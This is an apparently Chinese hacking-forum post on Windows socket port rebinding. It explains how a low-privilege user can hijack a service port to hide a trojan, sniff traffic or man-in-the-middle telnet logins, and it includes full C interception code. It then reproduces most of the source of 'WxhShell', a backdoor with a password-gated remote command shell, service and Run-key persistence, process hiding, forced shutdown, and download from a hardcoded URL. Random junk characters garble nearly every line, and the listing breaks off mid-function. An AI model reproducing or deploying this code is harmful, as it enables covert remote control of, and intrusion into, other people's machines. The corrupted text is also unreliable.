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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &iSQ2a!l8b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kz??""G7/  
weDv[b5i  
  saddr.sin_family = AF_INET; F )tNA?p)  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ES+&e/G"ds  
@.gCeMlOf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /@ OGYYH,M  
rXaL1`t*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P_Z o}.{  
,`wxXU7  
  这意味着什么?意味着可以进行如下的攻击: -Wig k['v  
>B9rr0d0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XrvrN^'  
LD5'4,%-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <.AIV p  
X(1.Hjh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?^7~|?v  
D~ {)\;w^!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BE U[M  
1"k +K~:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0r@rXwz  
UC0 yrV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #2dmki"~(  
G'bp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4gZN~_AI<  
DQRt\!  
  #include ' ZB%McS  
  #include 0q3 :"X  
  #include <9Chkb|B  
  #include     Ne4A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qzG'Gz{{qu  
  int main() :')<|(Zy  
  { d p?uq'  
  WORD wVersionRequested; ]f\rB8k|&  
  DWORD ret; o 1b#q/  
  WSADATA wsaData; n2QD*3i  
  BOOL val; >SzTZ3!E  
  SOCKADDR_IN saddr; ;P{ *'@  
  SOCKADDR_IN scaddr; 4bKZ@r%  
  int err; ;S%wPXj&  
  SOCKET s; :r6 bw  
  SOCKET sc; \GkcK$Y  
  int caddsize; 6D+9f{~r  
  HANDLE mt; t2E_y6  
  DWORD tid;   K>q,?x b  
  wVersionRequested = MAKEWORD( 2, 2 ); $@<\$I2s  
  err = WSAStartup( wVersionRequested, &wsaData ); fpqKa r  
  if ( err != 0 ) { D/)xe:  
  printf("error!WSAStartup failed!\n"); _Ih~'Y Fd  
  return -1; \ pq]q  
  } i.#s'm.9  
  saddr.sin_family = AF_INET; g_q{3PW.  
   HS2)vd@)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EEaFi 8  
|GsLcUv6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }{ P}P}  
  saddr.sin_port = htons(23); Rw7Q[I5z%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w?R6$n`  
  { H<>x_}&  
  printf("error!socket failed!\n"); ZE1#{u~[y  
  return -1; 2{%BQq>C  
  } W[vak F  
  val = TRUE; ~vt8|OOo0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f&,.h"bS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [m4<j  
  { ':fVb3A[*d  
  printf("error!setsockopt failed!\n"); 4f>Vg$4  
  return -1; qzH97<M}T  
  } @Wv*`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'E@D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AvwX 2?tc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r9QNE>UG  
nqV7Db~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [`:\(( 8  
  { sPhh#VCw{  
  ret=GetLastError(); xOt|j4  
  printf("error!bind failed!\n"); $DQMN  
  return -1;  g6~uf4;  
  } h;Bol  
  listen(s,2); c~Ha68  
  while(1) `yf#(YP  
  { mjw:Z,  
  caddsize = sizeof(scaddr); Kg%_e9nj#  
  //接受连接请求 4A*' 0!H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); : |Z*aI]9  
  if(sc!=INVALID_SOCKET) Nc7YMxk'H  
  { .IgCC_C9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hu;#uAnxQ  
  if(mt==NULL) a([cuh.  
  { ruA!+@or  
  printf("Thread Creat Failed!\n"); S4\T (  
  break; 0h5T&U]${Y  
  } #]Cr zLe  
  } ^v`|0z\  
  CloseHandle(mt); +`9T?:fu  
  } Bkcs4 x  
  closesocket(s); 8 /\rmf\  
  WSACleanup(); 3cs'Oz<w  
  return 0; T+gqu &9R  
  }   *%MY. #  
  DWORD WINAPI ClientThread(LPVOID lpParam) {? 6]_J  
  { K}* s^*X  
  SOCKET ss = (SOCKET)lpParam; FkRrW^?5G  
  SOCKET sc; g{i( 4DHm(  
  unsigned char buf[4096]; [WB8X,  
  SOCKADDR_IN saddr; }96^OQPE  
  long num; Q2+e`  
  DWORD val; ,H|V\\  
  DWORD ret; |i|>-|`!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P>)qN,a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p{88v3b6  
  saddr.sin_family = AF_INET; khyV uWN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y0z}[hZ  
  saddr.sin_port = htons(23); jPFA\$To  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U/TF,JUI  
  { UGAP$_j ]P  
  printf("error!socket failed!\n"); d#A.A<p*  
  return -1; C`DTPoXN  
  } O8M;q!)y  
  val = 100; eE7+fMP{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Gl=1  
  { TT>;!nb  
  ret = GetLastError(); j{nL33T%  
  return -1; eO*FoN  
  } cm-! 6'`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9V\5`QXu  
  { %SIbpk%  
  ret = GetLastError(); _TkiI.'  
  return -1; &t`l,]PQ=6  
  } lh .p`^v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VJm).>E3k  
  { uN'e~X6  
  printf("error!socket connect failed!\n"); U t0oh  
  closesocket(sc); aLG6yVtu  
  closesocket(ss); $My%7S/3  
  return -1; sN;xHTY  
  } g }5lGz4  
  while(1) T,5]EHea  
  { N5o jXX!l%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P)Sw`^d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `vUilh ^c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z#*fELV  
  num = recv(ss,buf,4096,0); EdLbVrN,  
  if(num>0) kJ{X5&,_  
  send(sc,buf,num,0); r IY_1  
  else if(num==0) %[5hTf  
  break; <kp?*xV]]  
  num = recv(sc,buf,4096,0); $(G.P!/  
  if(num>0) }ob#LC,  
  send(ss,buf,num,0); XB^o>/|@S  
  else if(num==0) ;QS-a  
  break; 4y:yFTp  
  } yX/ 9jk  
  closesocket(ss); m{;2!  
  closesocket(sc); L_Ff*   
  return 0 ; e![n$/E3R  
  } vDqmD{%4N  
}H\wed]F/  
M2{{B ^*$6  
========================================================== ]~GwZB'M  
)}tI8  
下边附上一个代码,,WXhSHELL Il,2^54q  
h# B%'9r  
========================================================== ,A4v|]kq]  
+CaPF  
#include "stdafx.h" 3Oy?_a$  
Ic P]EgB  
#include <stdio.h> IyOb0WiEj  
#include <string.h> 8.bdN]zn  
#include <windows.h> $@s&qi_&R  
#include <winsock2.h> g Q6_]~4  
#include <winsvc.h> ]oUvC  
#include <urlmon.h> r ".*l?=  
 $TGE  
#pragma comment (lib, "Ws2_32.lib") <Y9%oJn%  
#pragma comment (lib, "urlmon.lib") >;LXy  
M2l0x @|  
#define MAX_USER   100 // 最大客户端连接数 iP)`yB5`  
#define BUF_SOCK   200 // sock buffer scT,yNV  
#define KEY_BUFF   255 // 输入 buffer $qV, z  
uD4on}  
#define REBOOT     0   // 重启 (p>?0h9[  
#define SHUTDOWN   1   // 关机 (_ HwU/  
,( u- x!  
#define DEF_PORT   5000 // 监听端口 8KiG(6*Q  
 LhKaqR{  
#define REG_LEN     16   // 注册表键长度 Nawph  
#define SVC_LEN     80   // NT服务名长度 [3"k :  
F0(P 2j  
// 从dll定义API JZ3CCf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zmB6Y t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hSr2<?yk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D=Jj!;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _)XQb1]  
Tr*3:J }  
// wxhshell配置信息 r$T\@oTL  
struct WSCFG { g(& huS  
  int ws_port;         // 监听端口 '"qTmo!  
  char ws_passstr[REG_LEN]; // 口令 mSdByT+dG  
  int ws_autoins;       // 安装标记, 1=yes 0=no :#7"SEud}  
  char ws_regname[REG_LEN]; // 注册表键名 6?i]oy^X]p  
  char ws_svcname[REG_LEN]; // 服务名 <n? cRk'.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '{*{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \MI2^J N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j*Uz.q?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 69N/_V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >xsbXQ>.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 41Ga-0p  
w`KqB(36  
}; Lz6b9W  
B>C+qj@  
// default Wxhshell configuration =S+*= jA  
struct WSCFG wscfg={DEF_PORT,  Z(F['Zf  
    "xuhuanlingzhe", [ ICFPY6  
    1, S#Q0aG j  
    "Wxhshell", JJe8x4  
    "Wxhshell", )cP &c=  
            "WxhShell Service",  S1$lNB  
    "Wrsky Windows CmdShell Service", e<A6= }  
    "Please Input Your Password: ", 8L1 vt Yz  
  1, AS5' j  
  "http://www.wrsky.com/wxhshell.exe", X(_xOU)V  
  "Wxhshell.exe" O2{~Q{p  
    }; !B|Aq- n,  
v'RpsCov  
// 消息定义模块 w2X0.2)P2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /{Mo'.=Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 27J!oin$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cfs2tN  
char *msg_ws_ext="\n\rExit."; vG'6?%38  
char *msg_ws_end="\n\rQuit.";  3-~*  
char *msg_ws_boot="\n\rReboot..."; _nwsIjsW  
char *msg_ws_poff="\n\rShutdown..."; G.")Bg  
char *msg_ws_down="\n\rSave to "; u:]c  
"%peYNZ&%  
char *msg_ws_err="\n\rErr!"; Fc&3tw"g  
char *msg_ws_ok="\n\rOK!"; 76::X:76  
}_mVXjF  
char ExeFile[MAX_PATH]; _+7+90u  
int nUser = 0; 0Wkk$0h9  
HANDLE handles[MAX_USER]; S@Iza9\|@  
int OsIsNt; A>\5fO  
Q HU|aC{r  
SERVICE_STATUS       serviceStatus; \<ko)I#%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p~'iK4[&6  
>V%lA3  
// 函数声明 6;:z?Q  
int Install(void); \1Xr4H u  
int Uninstall(void); Yyxsj9  
int DownloadFile(char *sURL, SOCKET wsh); Xfc+0$U@  
int Boot(int flag); zsM2R"[X  
void HideProc(void); |E?PQ?P  
int GetOsVer(void); r=Tz++!  
int Wxhshell(SOCKET wsl); HOaNhJ{7D  
void TalkWithClient(void *cs); 22OfbwCb  
int CmdShell(SOCKET sock); #7Fdmnu`  
int StartFromService(void); 6b2Z}B  
int StartWxhshell(LPSTR lpCmdLine); =fRC$  
#Z. QMWq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o;TS69|D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VQ"Z3L3-4  
!n7'TM '  
// 数据结构和表定义 LwlO)|E  
SERVICE_TABLE_ENTRY DispatchTable[] = ]z#+3DaH  
{ 6o0}7T%6  
{wscfg.ws_svcname, NTServiceMain}, oBO4a^D  
{NULL, NULL} 9r. h^  
}; PZ >(cvX&  
`5Bv2 wlIV  
// 自我安装 XL3m#zW&  
int Install(void) J Bgq2  
{ R 7h^ @  
  char svExeFile[MAX_PATH]; [I?[N.v  
  HKEY key; G! Y l0Zr  
  strcpy(svExeFile,ExeFile); ,&~-Sq) ~  
Ij>G7Q*d  
// 如果是win9x系统,修改注册表设为自启动 A` ~R\j  
if(!OsIsNt) { i/ .#`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =,b6yV+$D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .C\2f+(U  
  RegCloseKey(key); )IVk4|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %9 3R/bx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Gi7th,  
  RegCloseKey(key); Cnr=1E=  
  return 0; vM'!WVs  
    } 6:~<L!`&  
  } Sse%~:FL  
} ExhK\J  
else { g`z;:ao  
E~@&&d U8  
// 如果是NT以上系统,安装为系统服务 ' 7Mz]@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ze!/b|`xI  
if (schSCManager!=0) GbC@ |  
{ BG6.,'~7o  
  SC_HANDLE schService = CreateService -5oYGLS$y3  
  ( c,^W/:CQAB  
  schSCManager, fig~z=m  
  wscfg.ws_svcname, (mr*Thy`@  
  wscfg.ws_svcdisp, kQ]4Bo  
  SERVICE_ALL_ACCESS, |:.s6a#(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6B|OKwL  
  SERVICE_AUTO_START, !gJTKQX4  
  SERVICE_ERROR_NORMAL, K?nQsT;3p  
  svExeFile, @d5$OpL$%  
  NULL, znB+RiV8  
  NULL, ?)ct@,Ek$  
  NULL, .i {yW  
  NULL, 2TG2<wqvE  
  NULL 1M.#7;#B3  
  ); 25f[s.pv8  
  if (schService!=0) L@'2}7N1%  
  { $Zr \$z2  
  CloseServiceHandle(schService); &pQ[(|=(  
  CloseServiceHandle(schSCManager); h3bQ<?m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7H*,HZc@=  
  strcat(svExeFile,wscfg.ws_svcname); Q;N)$Xx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { : t9sAD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h<V,0sZ&:  
  RegCloseKey(key); _&(L{cFx6  
  return 0; T6b~uE  
    } Oq$-*N  
  } 6 .9C 4  
  CloseServiceHandle(schSCManager); d~MY z6"  
} |"PS e~ u  
} @3y >|5 Y  
q:nUn?zB  
return 1; kh@O_Q`j  
} s2( 7z9jR  
?2_h.  
// 自我卸载 =;GmLi3A  
int Uninstall(void) 9_?<T;]"  
{ _M&n~ r  
  HKEY key; M@l|n  
dDSb1TM  
if(!OsIsNt) { }.(DQwC}1k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h oO847  
  RegDeleteValue(key,wscfg.ws_regname); Ml9m#c  
  RegCloseKey(key); QW'*^^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P l!E$   
  RegDeleteValue(key,wscfg.ws_regname); 2 FoLJ  
  RegCloseKey(key); ^62z\Y  
  return 0; .Tm.M7  
  } rg ; 4INs#  
} }Ml BmD  
} E=8GSl/Jx  
else { %y\5L#T!>  
|Eh2#K0x4G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -[J4nN&N  
if (schSCManager!=0) bHcBjk.\  
{ 1;KJUf[N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $0x+b!_l@  
  if (schService!=0) *P5\T4!+d  
  { O8A(OfX  
  if(DeleteService(schService)!=0) { (, ik:j  
  CloseServiceHandle(schService); +=Q:g,kP  
  CloseServiceHandle(schSCManager); R:(i}g<3  
  return 0; 7x77s  
  } `\|@w@f|;  
  CloseServiceHandle(schService); Nmd{C(^o  
  } St(jrZb  
  CloseServiceHandle(schSCManager); $&qLr KJ  
}  *  ]  
}  j'Jb+@W?  
wd32q7lGo1  
return 1; j^;P=L0=  
} GqNOWK2O  
"+4Jmf9  
// 从指定url下载文件 00'SceL=`  
int DownloadFile(char *sURL, SOCKET wsh) ~(^pGL3<  
{ mR|5$1[b  
  HRESULT hr; 4!OGNr$V@  
char seps[]= "/"; pEz^z9  
char *token; WtKKdL  
char *file; ?&zi{N  
char myURL[MAX_PATH]; r7].48D  
char myFILE[MAX_PATH]; 5!S#}=f=  
gvc/Z <Y  
strcpy(myURL,sURL); +}1zw<  
  token=strtok(myURL,seps); mI{Fs|9h  
  while(token!=NULL) JWaWOk(t=?  
  { q5S_B]|  
    file=token; { `Z~T&}~T  
  token=strtok(NULL,seps); <"6\\#}VG  
  } [3qH? 2&  
(]\p'%A)  
GetCurrentDirectory(MAX_PATH,myFILE); TQKcPVlE  
strcat(myFILE, "\\"); wdf;LM  
strcat(myFILE, file); 0>Td4qr+u  
  send(wsh,myFILE,strlen(myFILE),0); N P+ vi@Ud  
send(wsh,"...",3,0); /\<x8BJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z*f%R\u  
  if(hr==S_OK) bcvm]aPu  
return 0; ItvcN  
else [&4+ <Nl'  
return 1; '_V9FWDZ  
lyFlJmi,r  
} ~OsLbz:  
%o4v} mzV  
// 系统电源模块 uYWgNNxdmo  
int Boot(int flag) }y+Qj6dP  
{ ZA. S X|m  
  HANDLE hToken; 1ig*Xp[  
  TOKEN_PRIVILEGES tkp;  oJ*,a  
T@{ab1KV  
  if(OsIsNt) { *k;bkd4x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +6l#hO7h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P_0[spmFU  
    tkp.PrivilegeCount = 1; 9xj }<WM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g 8uq6U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iZiT/#,H2  
if(flag==REBOOT) { EI*~VFx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P qC#[0Qy  
  return 0; +jZa A/  
} `p9N| V  
else { V s xI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'I+M*Iy  
  return 0; Nu?A>Q  
} %*!6R:gAp  
  } n"aF#HR?0d  
  else { AaxQBTB  
if(flag==REBOOT) { ub fh4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^^7@kh mNl  
  return 0; mD.6cV  
} {]8|\CcY?  
else { (y6q}#<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 62,dFM7  
  return 0; *xpn-hCp<  
} MZX)znO  
} =No#/_  
~GX ]K H  
return 1; oy#(]K3`O  
} :L+ xEL  
zj] g^c;  
// win9x进程隐藏模块 zSD_t  
void HideProc(void) %{4 U\4d@'  
{ -6I*k |%8T  
EV Z1Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `pCy:J?d>l  
  if ( hKernel != NULL ) o+x! (  
  { ggrYf*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "OYD9Q''  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |>xuH#Q  
    FreeLibrary(hKernel); ~+0IFJ`}  
  } xR%NiYNQz  
[^ r8P:Ad  
return; PKntz7  
} [pp|*@1T  
C7vBa<a  
// 获取操作系统版本 0M&n3s{5I  
int GetOsVer(void) ;SjNZi)4d  
{ T]z(>{  
  OSVERSIONINFO winfo; /;Hqv`X7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N9#xTX  
  GetVersionEx(&winfo); w.aEc}@(^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DpA)Vdj  
  return 1; o!~XYEXvUa  
  else 4t }wMOR  
  return 0; *_YR*e0^nN  
} L5zCL0j`  
0AffD:  
// 客户端句柄模块 <F&XT@  
int Wxhshell(SOCKET wsl) o938!jML_  
{ \WTKw x  
  SOCKET wsh; 6@/k|t>OT  
  struct sockaddr_in client; 7- LjBlH  
  DWORD myID; MG.c`t/w  
l#T %N@X  
  while(nUser<MAX_USER) psmDGSm,&  
{ Or?c21un  
  int nSize=sizeof(client); W).Kq-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gvdok<o  
  if(wsh==INVALID_SOCKET) return 1; /D;ugc*3  
:vEfJSA 1<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M[z1B!rT  
if(handles[nUser]==0) d7r!<u&/  
  closesocket(wsh); +FadOx7X$  
else yv]|Ce@8A  
  nUser++; cMT:Ij];  
  } MK/8<i<.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e~(e&4pb  
!idVF!xG  
  return 0; :7.k E  
} !lFNG:&`  
`i(b%$|^&Z  
// 关闭 socket nXhP ME  
void CloseIt(SOCKET wsh) NkNFx<9T  
{ ulW>8bW&  
closesocket(wsh); H c>yZ:c;  
nUser--; @|t]9  
ExitThread(0); w0j'>4  
} Ag+B*   
UcB&p t&  
// 客户端请求句柄 "\}h  
void TalkWithClient(void *cs) CEw%_U@8  
{ bfncO[Q,?  
`S-l.zSZ4B  
  SOCKET wsh=(SOCKET)cs; hg0{x/Dgny  
  char pwd[SVC_LEN]; x`C"Z7t  
  char cmd[KEY_BUFF]; _6h.<BR  
char chr[1]; .xT{Rz  
int i,j; P/[RH e  
`@1e{ ?$  
  while (nUser < MAX_USER) { KGc.YUoE  
J %A=  
if(wscfg.ws_passstr) { l(_|CkcZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F7b% x7b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =X5w=(&  
  //ZeroMemory(pwd,KEY_BUFF); >m;nt}f'+  
      i=0; iZ}c[hC'3`  
  while(i<SVC_LEN) { }0anssC  
%f("3!#H  
  // 设置超时 1twpOZ>  
  fd_set FdRead; k= 9+"4:  
  struct timeval TimeOut; t,/8U  
  FD_ZERO(&FdRead); "?aI  
  FD_SET(wsh,&FdRead); 4\|Q;@f  
  TimeOut.tv_sec=8; d(V4;8a0  
  TimeOut.tv_usec=0; Bnk<e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *JFkqbf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B-KMlHe  
H}G 9gi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (=WYi~2v  
  pwd=chr[0]; F|m &n&  
  if(chr[0]==0xd || chr[0]==0xa) { YCb|eS^u  
  pwd=0; z3L=K9)  
  break; =ca[*0^Z7  
  } [tt{wl"E  
  i++; m6K7D([f  
    } 2NjgLXP  
k+"7hf=C|  
  // 如果是非法用户,关闭 socket w nQy   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W,yLGz\  
} C<T6l'S{?  
LdOme [C1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *! :j$n;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jwLZC  
d(RMD  
while(1) { f2o6GC_  
Y7q Q` |  
  ZeroMemory(cmd,KEY_BUFF); lo6upir ZX  
K2n#;fY %  
      // 自动支持客户端 telnet标准   DQ/rx`BG  
  j=0; u$5.GmKm  
  while(j<KEY_BUFF) { 8Ara^Xh}q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p8-$MF]] 6  
  cmd[j]=chr[0]; K$}K2w  
  if(chr[0]==0xa || chr[0]==0xd) { $?z} yx$  
  cmd[j]=0; +'93%/:  
  break; YG= :lf  
  } ZWS:-]P.  
  j++; - uO(qUa#  
    } )l m7ly8a|  
45[,LJaMd  
  // 下载文件 <Dgf'Gr J  
  if(strstr(cmd,"http://")) { j(;ou?Uh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <zTz/Hk`  
  if(DownloadFile(cmd,wsh)) (7! pc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [9 :9<#?o^  
  else II _CT=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XA>uCJf  
  } rB]2qk`/'  
  else { ~rjK*_3/  
Yuf+d-%  
    switch(cmd[0]) { 6+ptL-Zt<  
  c'VCCXe  
  // 帮助 $>_`.*I/  
  case '?': { BT0;I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uj 4HVd  
    break; 1uKIO{d @  
  } FwB xag:u  
  // 安装 <v_Wh@m  
  case 'i': { rc>}3?o  
    if(Install()) Tyaqa0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); reYIF*  
    else hMS:t(N{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <liprUFsn  
    break; A@d 2Ukv  
    } Wql=PqF  
  // 卸载 bW/T}FN D  
  case 'r': { 7 u Q +]d  
    if(Uninstall()) go6; _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Lh!7g/0N  
    else Df2$2VU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VE/m|3%t  
    break; izl-GitP  
    } @J6r;4|&  
  // 显示 wxhshell 所在路径 z.)*/HGJm  
  case 'p': { @Q nKaZ8jW  
    char svExeFile[MAX_PATH]; }LX!dDuwA  
    strcpy(svExeFile,"\n\r"); e~># M $  
      strcat(svExeFile,ExeFile); ~X<$ l+5  
        send(wsh,svExeFile,strlen(svExeFile),0); 7tJ#0to  
    break; KdZ=g ZSH  
    } G eB-4img  
  // 重启 KX!/n`2u  
  case 'b': { +G!# /u1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !J{[XT  
    if(Boot(REBOOT)) vg X7B4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z$g__q-  
    else { y!S:d  
    closesocket(wsh); s{X+0_@Q  
    ExitThread(0); 4T$jY}U  
    } 6q0)/|,@  
    break; H0lW gJmi|  
    } x+'Ea.^  
  // 关机 mxJe\[I  
  case 'd': { fU%Mz\t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N;}X$b5Y @  
    if(Boot(SHUTDOWN)) &io+*  
